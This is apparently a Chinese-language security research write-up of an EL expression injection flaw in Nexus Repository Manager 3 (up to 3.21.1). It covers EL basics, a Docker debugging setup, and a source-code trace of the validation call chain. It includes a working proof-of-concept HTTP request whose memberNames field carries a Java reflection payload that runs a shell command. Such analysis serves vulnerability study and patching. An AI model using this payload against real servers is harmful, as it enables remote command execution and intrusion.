简介
Nexus Repository OSS是一款通用的软件包仓库管理(Universal Repository Manager)服务。
Sonatype Nexus Repository Manager 3的/service/rest/beta/repositories/go/group
接口可以最少以一个低权限用户进行访问,该接口可以在访问时发送精心构造的恶意JSON
数据,在渲染数据时造成EL
表达式注入进而远程执行任意命令。
影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险:严重 -- 9.1
账号:低/高权限账号
EL表达式
简介
EL全名为Expression Language
,为了使JSP写起来更加简单。表达式语言的灵感来自于ECMAScript
和XPath
表达式语言,它提供了在JSP
中简化表达式的方法。
它主要用于替换JSP
页面中的脚本表达式<%= %>
,从各种类型的Web域中检索Java对象、获取数据。它可以很方便地访问JavaBean
属性,访问数组,访问List
集合和Map
集合等。
EL主要作用:
-
获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
-
执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。
- 获取web开发常用对象
EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
- 调用Java方法
EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。
获取数据
语法:${标识符}
EL表达式语句在执行时,会调用pageContext.findAttribute
方法,用标识符为关键字,分别从page
、request
、session
、application
四个域中查找相应的对象,找到则返回相应对象,找不到则返回空字符串。
EL表达式可以很轻松获取JavaBean的属性,或获取数组、Collection
、Map
类型集合的数据
<%
request.setAttribute("name","test");
%>
<%--${name}等同于pageContext.findAttribute("name") --%>
执行运算
语法:${运算表达式}
-
关系运算符
-
逻辑运算符
-
empty
运算符:检查对象是否为null
- 二元表达式:
${user!=null?user.name :""}
-
[ ]
和.
号运算符,提供两种运算符来存取数据,。
加法运算:${2+2}<br/>
减法运算:${2-2}<br/>
乘法运算:${2*2}<br/>
除法运算:${2/22}<br/>
获取web对象
EL表达式语言中定义了11个隐含对象,使用这些隐含对象可以很方便地获取web开发中的一些常见对象,并读取这些对象的数据。
语法:${隐式对象名称}:获得对象的引用
序号 | 隐含对象名称 | 描 述 |
---|---|---|
1 | pageContext | 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。) |
2 | pageScope | 代表page域中用于保存属性的Map对象 |
3 | requestScope | 代表request域中用于保存属性的Map对象 |
4 | sessionScope | 代表session域中用于保存属性的Map对象 |
5 | applicationScope | 代表application域中用于保存属性的Map对象 |
6 | param | 表示一个保存了所有请求参数的Map对象 |
7 | paramValues | 表示一个保存了所有请求参数的Map对象,它对于某个请求参数,返回的是一个string[] |
8 | header | 表示一个保存了所有http请求头字段的Map对象,注意:如果头里面有“-” ,例Accept-Encoding,则要header[“Accept-Encoding”] |
9 | headerValues | 表示一个保存了所有http请求头字段的Map对象,它对于某个请求参数,返回的是一个string[]数组。注意:如果头里面有“-” ,例Accept-Encoding,则要headerValues[“Accept-Encoding”] |
10 | cookie | 表示一个保存了所有cookie的Map对象 |
11 | initParam | 表示一个保存了所有web应用初始化参数的map对象 |
调用Java方法
EL表达式语法允许开发人员开发自定义函数,以调用Java类的方法。
语法:${prefix:method(params)}
EL自定义函数开发包括以下三个步骤:
- 编写一个Java类的静态方法
- 编写标签库描述符(tld)文件,在tld文件中描述自定义函数。
- 在JSP页面中导入和使用自定义函数
EL-RCE
EL表达式若可控,则可以进行表达式注入:
${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
使用EL配合反射完成RCE。
Nexus 3 EL表达式注入
环境搭建
拉取包含漏洞的nexus3
docker pull sonatype/nexus3:3.21.1
运行docker容器
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
8081
为Web管理端口映射,5050
为JDWP调试端口映射,nexus-data
为数据目录,INSTALL4J_ADD_VM_PARAMS
为调试参数。
Github下载Nexus
源码:
git clone https://github.com/sonatype/nexus-public.git
并且切换至 3.21.0-05
分支:
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
IDEA配置远程调试信息
成功后可以在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter
进行断点
漏洞复现
首先需要一个至少为低权限的账户并登录(管理员账户也可以),登录后获取Cookie中的NX-ANTI-CSRF-TOKEN
和NXSESSIONID
。
POC
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: test.com:8081
Content-Length: 293
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.289429876219083
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"]
}
}
发送包含EL表达式的JSON数据,执行命令在tmp
中创建文件。
漏洞分析
首先根据请求路径/service/rest/beta/repositories/go/group
,定位到对应的java类。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource
该对象用于处理有关组Golang存储库的请求,查看RESOURCE_URI
可以发现为/beta/repositories/go/group
和POC请求对应,因为请求为POST根据注解@POST
会调用createRepository
。
org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository
调用父类AbstractGroupRepositoriesApiResource
的createRepository
方法,传递参数为GolangGroupRepositoryApiRequest
类的请求对象,包含POC传递的JSON。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository
继续跟进validateGroupMembers
函数。
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers
使用request.getGroup().getMemberNames()
提取出参数中的memberNames
为数组,然后for循环中遍历并对POC${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}
判断,repositoryManager.get(repositoryName)
等于NULL,进入下面的else
分支并将POC传入constraintViolationFactory.createViolation
。
org.sonatype.nexus.validation.ConstraintViolationFactory#createViolation
这里创建了HelperBean
对象,并将恶意的EL表达式作为构造函数参数传入。
org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean
public HelperBean(final String path, final String message) {
this.path = path;
this.message = message;
}
具体值为:
HelperBean
对象又传入validate
函数,跟进关键方法。
org.hibernate.validator.internal.engine.constraintvalidation.ConstraintTree#validateConstraints(org.hibernate.validator.internal.engine.validationcontext.ValidationContext<?>, org.hibernate.validator.internal.engine.valuecontext.ValueContext<?,?>)
调用该方法进行校验,跟进addConstraintFailure
org.hibernate.validator.internal.engine.validationcontext.AbstractValidationContext#addConstraintFailure
调用interpolate方法执行表达式,messageTemplate为恶意EL表达式。
org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate
调用栈很长,一路跟进,最终调用ElTermResolver
类的interpolate
渲染完成RCE。
ValueExpression对象包含恶意表达式并执行。
关键的调用栈如下:
interpolate:67, ElTermResolver (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:64, InterpolationTerm (org.hibernate.validator.internal.engine.messageinterpolation)
interpolate:112, ResourceBundleMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateExpression:451, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolateMessage:347, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:286, AbstractMessageInterpolator (org.hibernate.validator.messageinterpolation)
interpolate:313, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
addConstraintFailure:230, AbstractValidationContext (org.hibernate.validator.internal.engine.validationcontext)
validateConstraints:79, ConstraintTree (org.hibernate.validator.internal.engine.constraintvalidation)
doValidateConstraint:130, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateConstraint:123, MetaConstraint (org.hibernate.validator.internal.metadata.core)
validateMetaConstraint:555, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForDefaultGroup:488, ValidatorImpl (org.hibernate.validator.internal.engine)
validateConstraintsForCurrentGroup:450, ValidatorImpl (org.hibernate.validator.internal.engine)
validateInContext:400, ValidatorImpl (org.hibernate.validator.internal.engine)
validate:172, ValidatorImpl (org.hibernate.validator.internal.engine)
createViolation:64, ConstraintViolationFactory (org.sonatype.nexus.validation)
validateGroupMembers:96, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:66, AbstractGroupRepositoriesApiResource (org.sonatype.nexus.repository.rest.api)
createRepository:83, GolangGroupRepositoriesApiResource (org.sonatype.nexus.repository.golang.rest)
CGLIB$createRepository$1:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75 (org.sonatype.nexus.repository.golang.rest)
invoke:-1, GolangGroupRepositoriesApiResource$$EnhancerByGuice$$cc9abe75$$FastClassByGuice$$8bad93f8 (org.sonatype.nexus.repository.golang.rest)
参考
https://blog.csdn.net/ggGavin/article/details/51852026